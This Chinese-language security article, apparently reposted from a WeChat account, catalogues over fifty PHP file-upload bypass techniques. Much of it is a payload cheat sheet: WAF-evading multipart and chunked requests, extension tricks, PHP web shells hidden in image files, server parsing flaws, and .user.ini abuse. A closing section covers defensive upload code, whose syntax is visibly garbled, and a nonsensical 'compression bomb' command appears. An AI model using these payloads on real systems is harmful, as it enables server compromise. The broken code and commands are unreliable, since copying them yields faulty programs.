PHP文件上传50+绕过手法全景解析

admin 2025年3月16日21:19:29评论5 views字数 4663阅读15分32秒阅读模式
PHP文件上传50+绕过手法全景解析

本文仅供技术分享之用,请勿进行任何非法测试。对于因传播和利用本公众号"诸葛安全"所提供的信息而导致的后果和损失,使用者将承担全部责任。本公众号及作者对此不承担任何法律责任。如有侵权,请及时告知,我们将立即删除并致以诚挚的歉意。

PHP文件上传50+绕过手法全景解析

0x01 协议层:HTTP协议魔法

1、Content-Disposition头变形

# 换行符干扰Content-Disposition: form-data; name="file";filename="shell.php"  # 多等号混淆Content-Disposition: form-data; name===="file"; filename="1.php"  # 字段顺序调换Content-Type: image/png  Content-Disposition: form-data; name="file"; filename="shell.php"  # 垃圾数据填充Content-Disposition: aaaa...(5000字符)...aaaa; name="file"; filename="shell.php"  # 多重filename干扰Content-Disposition: form-data; filename="safe.jpg"; filename="shell.php"  

绕过原理:WAF解析逻辑与服务器不一致,导致检测逃逸

2、Boundary边界

# 非标准边界格式  --MyBoundary_$$$  Content-Disposition: form-data; name="file"; filename="shell.php"# 嵌套BoundaryContent-Type: multipart/form-data; boundary=abc--abcContent-Type: multipart/form-data; boundary=def--defContent-Disposition: form-data; name="file"; filename="shell.php"--def----abc--

攻击效果:部分WAF无法解析多层嵌套结构

3、分块传输编码(Chunked)绕过

POST /upload.php HTTP/1.1Transfer-Encoding: chunked4shell6.php0# 解码结果:shell.php
防御难点:需完整解析分块数据才能检测

0x02 文件本身的变形

1、扩展名魔术

# PHP的变形家族.phar | .pht | .phtml | .pgif | .phps | .php3 | .php7# JSP的伪装者.jspx | .jspf | .jsw | .xsp | .d.jsp# 大小写花式秀.PHp | .PhP5 | .pHAR# 双扩展名陷阱shell.php.jpg | shell.jpg.php | shell.php%20# 特殊符号插入shell.php%00.jpg | shell.php::DATA | shell.php...

2、文件内容伪装

# 图片马注入的N种方式1. EXIF注入:exiftool -Comment='<?php system($_GET["cmd"]);?>' 1.jpg2. IDAT块注入:使用pngcrush插入PHP代码到IDAT块3. SVG矢量图:<svg><script>alert(1)</script></svg># 绕过二次渲染# GD库保留EXIF数据的PHP版本(<7.2)# 制作特殊GIF89a头部保留代码GIF89a<?php system($_GET['cmd']); ?>  # 压缩包炸弹# 制作递归压缩文件绕过杀软扫描tar -czvf bomb.tar.gz -P "JUNK_DATA=$(dd if=/dev/urandom bs=1M count=100)"  

0x03 针对服务器特性

1、中间件解析漏洞

# IIS 6.0/shell.asp;.jpg          # 分号解析漏洞/shell.asp/shell.jpg     # 目录解析漏洞# Apache  shell.php.               # 扩展名补全漏洞(配置AddHandler)shell.php%0a             # 换行解析漏洞(CVE-2017-15715)# Nginx# 配置错误导致畸形路径解析/uploads/shell.jpg/../.php  # PHP CGI  # 参数污染漏洞  /upload.php?file=shell.jpg%20HTTP/1.0.php

2、环境配置利用

# .user.ini攻击# 上传.user.ini文件auto_prepend_file = shell.jpg# 临时文件竞争# PHP的session.upload_progress特性# 结合LFI漏洞包含临时session文件# 云存储桶错误配置# AWS S3桶上传可执行权限文件aws s3 cp shell.php s3://bucket/ --acl public-read 

0x04 业务逻辑

1、前端框架

# Vue/React文件名处理漏洞// 前端代码将文件名转换为小写,但后端未统一处理axios.post('/upload', formData)// formData.append('file', file, file.name.toUpperCase())# 文件预览功能漏洞# 上传HTML文件后触发XSS# 上传Markdown文件触发SSRF(如包含远程图片)

2、API接口

# GraphQL文件上传绕过mutation {  uploadFile(file: "shell.php", content: "<?php system($_GET['cmd']); ?>")}# RESTful接口参数污染POST /api/uploadContent-Type: application/json{  "filename""shell.jpg",  "content""<?php system($_GET['cmd']); ?>",  "fileType""php"}

0x05 开发测角度

1、防御体系

PHP文件上传50+绕过手法全景解析
2、防御核心
# 永远不要信任客户端提交的任何数据1、白名单!白名单!白名单!(重要的事情说三遍)2、最小权限原则:上传目录禁用脚本执行3、持续监控:建立文件上传行为的基线模型

3、防御代码终极版

classIronWallUploader{    private $allow_ext = ['jpg''png'];    private $allow_mime = ['image/jpeg''image/png'];    private $max_size 5242880// 5MB    public functionupload($file{        // 步骤1:基础校验        if($file['error'] !== UPLOAD_ERR_OK) throw new Exception("上传错误");        if($file['size'] > $this->max_size) throw new Exception("文件过大");        // 步骤2:扩展名白名单        $filename basename($file['name']);        $ext strtolower(pathinfo($filename, PATHINFO_EXTENSION));        if(!in_array($ext$this->allow_ext)) throw new Exception("非法扩展名");        // 步骤3:真实MIME检测        $finfo finfo_open(FILEINFO_MIME_TYPE);        $mime finfo_file($finfo$file['tmp_name']);        if(!in_array($mime$this->allow_mime)) throw new Exception("MIME类型异常");        // 步骤4:文件头核验        $header bin2hex(file_get_contents($file['tmp_name'], falsenull04));        $allow_headers = ['ffd8ffe0''89504e47'];        if(!in_array($header$allow_headers)) throw new Exception("文件头非法");        // 步骤5:二次渲染        try {            if($mime === 'image/jpeg') {                $img imagecreatefromjpeg($file['tmp_name']);                $save_path $this->save_dir . '/' . md5(uniqid()) . '.jpg';                imagejpeg($img$save_path100);            } elseif($mime === 'image/png') {                $img imagecreatefrompng($file['tmp_name']);                $save_path $this->save_dir . '/' . md5(uniqid()) . '.png';                imagepng($img$save_path9);            }            imagedestroy($img);        } catch(Exception $e) {            throw new Exception("文件处理失败");        }        // 步骤6:病毒扫描        $clamav new ClamAV();        if(!$clamav->scan($save_path)) {            unlink($save_path);            throw new Exception("检测到恶意文件");        }        return $save_path;    }}

0x07 (AI)新姿势

  • 对抗样本生成:比如使用GAN生成绕过检测的图片马

  • 语义分析绕过:构造看似正常的文件名如: report_q2_final.php 

  • 动态Payload生成:根据目标WAF特征实时调整攻击载荷

AI深度学习

# 基于深度学习的文件检测模型model = keras.models.load_model('malware_detector.h5')def ai_check(file_path):  # 提取文件特征(字节分布、熵值、结构特征)  features = extract_features(file_path)  prediction = model.predict(features)  # 低于阈值判定为安全  return prediction < 0.5
0x07 给我们牛马人的建议

保持对HTTP协议的深刻理解,协议层绕过永不过时!

本文仅限个人观点,如有缺少,请自行补充!

关注公众号,后台回复 "250316" 获取本文相关资料

原文始发于微信公众号(诸葛安全):PHP文件上传50+绕过手法全景解析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月16日21:19:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP文件上传50+绕过手法全景解析https://cn-sec.com/archives/3846373.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息